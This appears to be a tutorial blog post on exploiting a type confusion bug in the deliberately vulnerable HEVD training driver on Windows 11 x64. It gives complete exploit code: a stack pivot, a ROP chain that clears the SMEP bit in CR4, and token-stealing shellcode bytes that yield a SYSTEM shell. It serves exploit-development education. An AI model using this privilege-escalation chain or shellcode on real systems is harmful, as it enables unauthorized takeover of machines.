Post

Windows Kernel Exploitation - HEVD x64 Type Confusion

Windows Kernel Exploitation - HEVD x64 Type Confusion

In the we looked at a Stack Overflow in HEVD on Windows 11 x64, now are going to continue with a Type Confusion Vulnerability.

Overview

Target: HEVD
OS/Arch: Windows 11 x64
Protections: ASLR, DEP, SMEP

Vulnerability Discovery

We are going over the vulnerability briefly and will focus more on the exploitation part. The source shows the following 2 objects:

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct _USER_TYPE_CONFUSION_OBJECT {
    ULONG_PTR ObjectID;
    ULONG_PTR ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;

typedef struct _KERNEL_TYPE_CONFUSION_OBJECT {
    ULONG_PTR ObjectID;
    union {
        ULONG_PTR ObjectType;
        FunctionPointer Callback;
    };
} KERNEL_TYPE_CONFUSION_OBJECT, *PKERNEL_TYPE_CONFUSION_OBJECT;

On the kernel object, we see a union of an object type and a callback, which means that there is only space for one of them, or in other words, using either of those members when accessing the struct will point to the same value. On the user object, on the other hand, we do not have this union and only have ObjectID and ObjectType.

The user object structure can be passed to the driver via an IOCTL and will then be used in the following way:

1
2
3
4
5
6
7
8
9
10
11
12
13
NTSTATUS TriggerTypeConfusion(_In_ PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject) {
    ...
    KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(
            NonPagedPool,
            sizeof(KERNEL_TYPE_CONFUSION_OBJECT),
            (ULONG)POOL_TAG
    );
    KernelTypeConfusionObject->ObjectID = UserTypeConfusionObject->ObjectID;
    KernelTypeConfusionObject->ObjectType = UserTypeConfusionObject->ObjectType;
    ...
    Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
    ...
}

The TypeConfusionObjectInitializer function is then going ahead and calling the callback function. This function has however the same value as the ObjectType which we provided in the user object. This means that this function will call whatever function pointer we place in the ObjectType field.

1
2
3
4
5
NTSTATUS TypeConfusionObjectInitializer(_In_ PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject) {
    NTSTATUS Status = STATUS_SUCCESS;
    KernelTypeConfusionObject->Callback();
    return Status;
}

The IOCTL number for this call is 0x222023, which can be found in a similar way to the last post.

Exploitation

We start by writing a simple exploit template that defines the required structure, gets a handle to the driver, and calls the IOCTL with a dummy value:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <Windows.h>

typedef struct _UserObject {
    ULONG_PTR ObjectID;
    ULONG_PTR ObjectType;
} UserObject;

int main() {
    HANDLE hDriver = CreateFile(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDriver == INVALID_HANDLE_VALUE) {
        printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
        exit(1);
    }

    UserObject userObject = { 0 };
    userObject.ObjectID =   (ULONG_PTR)0x4141414141414141;
    userObject.ObjectType = (ULONG_PTR)0x4242424242424242;

    DeviceIoControl(hDriver, 0x222023, (LPVOID)&userObject, sizeof(userObject), NULL, 0, NULL, NULL);
    
    return 0;
}

We set a breakpoint and then run this first version of our exploit:

1
2
3
4
5
6
7
0: kd> ba e1 HEVD!TypeConfusionObjectInitializer
0: kd> g
1: kd> 
HEVD!TypeConfusionObjectInitializer+0x37:
fffff804`8669754b ff5308          call    qword ptr [rbx+8]
1: kd> dq rbx+8
ffffbf8c`e5b7b248  42424242`42424242 a53058d9`e6cdbefe

We can see that the driver is trying to call our provided “B”s which of course fails. So now that we can trigger the vulnerability the question remains on what address we want to call and how that helps us in elevating privileges.

Since SMEP is active, we can not just allocate shellcode and have the driver call it, so we have to make the call to a ROP-gadget that allows us to pivot the kernel stack to a location we control. This would allow us to place more ROP-gadgets there to ultimately disable SMEP & jump to Shellcode. Let’s try to find such a pivot gadget via ropper:

1
2
3
4
5
ropper --file ntoskrnl.exe --console --clear-cache
(ntoskrnl.exe/PE/x86_64)> search mov esp, 0x
...
0x0000000140317f70: mov esp, 0x48000000; add esp, 0x28; ret;
...

Note that we do not want just any value, it should be one that is aligned otherwise we risk getting a BSOD. The one we found looks pretty good – the add esp instruction is not bothering us too much as we can just add some dummy values before putting our next gadgets. Now that we know the address our stack will be at after executing the gadget, we can allocate it and fill it with a few ROP-nops to make sure that our stack pivot is working as intended. Since ASLR is enabled, we also have to get the address the kernel is loaded at as discussed in the last post.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <Psapi.h>

#define QWORD ULONGLONG

QWORD getBaseAddr(LPCWSTR drvName) {
    LPVOID drivers[512];
    DWORD cbNeeded;
    int nDrivers, i = 0;
    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
        WCHAR szDrivers[512];
        nDrivers = cbNeeded / sizeof(drivers[0]);
        for (i = 0; i < nDrivers; i++) {
            if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
                if (wcscmp(szDrivers, drvName) == 0) {
                    return (QWORD)drivers[i];
                }
            }
        }
    }
    return 0;
}

typedef struct _UserObject {
    ULONG_PTR ObjectID;
    ULONG_PTR ObjectType;
} UserObject;

int main() {
    HANDLE hDriver = CreateFile(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDriver == INVALID_HANDLE_VALUE) {
        printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
        exit(1);
    }

    QWORD ntBase = getBaseAddr(L"ntoskrnl.exe");
    QWORD STACK_PIVOT_ADDR = 0x48000000;
    QWORD STACK_PIVOT_GADGET = ntBase + 0x317f70; // mov esp, 0x48000000; add esp, 0x28; ret; 
    QWORD NOP_GADGET = ntBase + 0x200042; // ret;
    int index = 0;

    LPVOID kernelStack = VirtualAlloc((LPVOID)STACK_PIVOT_ADDR, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RtlFillMemory(kernelStack, 0x28, '\x41');
    QWORD* rop = (QWORD*)((QWORD)kernelStack + 0x28);
    
    *(rop + index++) = NOP_GADGET;
    *(rop + index++) = NOP_GADGET;
    *(rop + index++) = NOP_GADGET;

    UserObject userObject = { 0 };
    userObject.ObjectID =   (ULONG_PTR)0x4141414141414141;
    userObject.ObjectType = (ULONG_PTR)STACK_PIVOT_GADGET;

    printf("[>] Stack Pivot Gadget at %llx\n", STACK_PIVOT_GADGET);
    printf("[>] New Stack at %llx\n", STACK_PIVOT_ADDR);
    getchar();

    DeviceIoControl(hDriver, 0x222023, (LPVOID)&userObject, sizeof(userObject), NULL, 0, NULL, NULL);
    
    return 0;
}

We run the updated exploit with a breakpoint on the stack pivot:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0: kd> ba e1 fffff80581f17f70
0: kd> g
Breakpoint 0 hit
nt!ExfReleasePushLock+0x20:
fffff805`81f17f70 bc00000048      mov     esp,48000000h
...

UNEXPECTED_KERNEL_MODE_TRAP (7f)
...
kb will then show the corrected stack.
Arguments:
Arg1: 0000000000000008, EXCEPTION_DOUBLE_FAULT
Arg2: ffff910032865e70
Arg3: 0000000048000000

On executing the pivot gadget we get a crash. This issue can be tricky to debug – essentially 2 things are happening. First, we need a bit of space before and after our gadgets so the kernel can read/write there, and additionally, we have to make sure that the stack is actually paged in because page faults will not be handled at this point (we are still in kernel mode). We update our PoC by adding 0x1000 bytes in front of our buffer and then use VirtualLock to force the memory to be paged in:

1
2
3
4
5
QWORD stackAddr = STACK_PIVOT_ADDR - 0x1000;
LPVOID kernelStack = VirtualAlloc((LPVOID)stackAddr, 0x14000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!VirtualLock(kernelStack, 0x14000)) {
    printf("Error using VirtualLock: %d\n", GetLastError());
}

Now we no longer get a crash and can run our ROP-nops!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0: kd> ba e1 fffff8046bd17f70
0: kd> g
nt!ExfReleasePushLock+0x20:
fffff804`6bd17f70 bc00000048      mov     esp,48000000h
1: kd> dq 48000000 -100
00000000`47ffff00  00000000`00000000 00000000`00000000
...
1: kd> dq 48000000
00000000`48000000  41414141`41414141 41414141`41414141
...
1: kd> t
nt!ExfReleasePushLock+0x25:
fffff804`6bd17f75 83c428          add     esp,28h
1: kd> p
nt!ExfReleasePushLock+0x28:
fffff804`6bd17f78 c3              ret
1: kd> p
nt!CmpUnlockKcbStackFlusherLocksExclusive+0x3a:
fffff804`6bc00042 c3              ret

At this point, the hardest part is over. We can now execute ROP-gadgets which means we can repeat the exact same steps we used in our stack overflow exploit. First, we flip the 20th bit in CR4 to disable SMEP and then jump to our shellcode (which is the same as before). The full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <Psapi.h>

#define QWORD ULONGLONG

BYTE sc[256] = {
  0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, 0x48,
  0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x49, 0x89, 0xc0, 0x4d,
  0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x49, 0x81, 0xe8, 0x48,
  0x04, 0x00, 0x00, 0x4d, 0x8b, 0x88, 0x40, 0x04, 0x00, 0x00,
  0x49, 0x83, 0xf9, 0x04, 0x75, 0xe5, 0x49, 0x8b, 0x88, 0xb8,
  0x04, 0x00, 0x00, 0x80, 0xe1, 0xf0, 0x48, 0x89, 0x88, 0xb8,
  0x04, 0x00, 0x00, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01,
  0x00, 0x00, 0x66, 0x8b, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x66,
  0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x48,
  0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68,
  0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00,
  0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xaa,
  0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48,
  0x0f, 0x07, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};

QWORD getBaseAddr(LPCWSTR drvName) {
    LPVOID drivers[512];
    DWORD cbNeeded;
    int nDrivers, i = 0;
    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
        WCHAR szDrivers[512];
        nDrivers = cbNeeded / sizeof(drivers[0]);
        for (i = 0; i < nDrivers; i++) {
            if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
                if (wcscmp(szDrivers, drvName) == 0) {
                    return (QWORD)drivers[i];
                }
            }
        }
    }
    return 0;
}

typedef struct _UserObject {
    ULONG_PTR ObjectID;
    ULONG_PTR ObjectType;
} UserObject;

int main() {
    HANDLE hDriver = CreateFile(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDriver == INVALID_HANDLE_VALUE) {
        printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
        exit(1);
    }

    LPVOID shellcode = VirtualAlloc(NULL, 256, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlCopyMemory(shellcode, sc, 256);

    QWORD ntBase = getBaseAddr(L"ntoskrnl.exe");
    QWORD STACK_PIVOT_ADDR = 0x48000000;
    QWORD STACK_PIVOT_GADGET = ntBase + 0x317f70; // mov esp, 0x48000000; add esp, 0x28; ret; 
    QWORD POP_RCX = ntBase + 0x20a386;
    QWORD MOV_CR4_RCX = ntBase + 0x3acd47;
    int index = 0;

    QWORD stackAddr = STACK_PIVOT_ADDR - 0x1000;
    LPVOID kernelStack = VirtualAlloc((LPVOID)stackAddr, 0x14000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!VirtualLock(kernelStack, 0x14000)) {
        printf("Error using VirtualLock: %d\n", GetLastError());
    }

    RtlFillMemory((LPVOID)STACK_PIVOT_ADDR, 0x28, '\x41');
    QWORD* rop = (QWORD*)((QWORD)STACK_PIVOT_ADDR + 0x28);

    *(rop + index++) = POP_RCX;
    *(rop + index++) = 0x350ef8 ^ 1UL << 20;
    *(rop + index++) = MOV_CR4_RCX;
    *(rop + index++) = (QWORD)shellcode;

    UserObject userObject = { 0 };
    userObject.ObjectID =   (ULONG_PTR)0x4141414141414141;
    userObject.ObjectType = (ULONG_PTR)STACK_PIVOT_GADGET;

    printf("[>] Stack Pivot Gadget at %llx\n", STACK_PIVOT_GADGET);
    printf("[>] New Stack at %llx\n", kernelStack);
    getchar();

    DeviceIoControl(hDriver, 0x222023, (LPVOID)&userObject, sizeof(userObject), NULL, 0, NULL, NULL);
    
    printf("[>] Enjoy your shell!\n", ntBase);
    system("cmd");
    return 0;
}

Running the exploit results in a SYSTEM shell on the target:

This post is licensed under CC BY 4.0 by the author.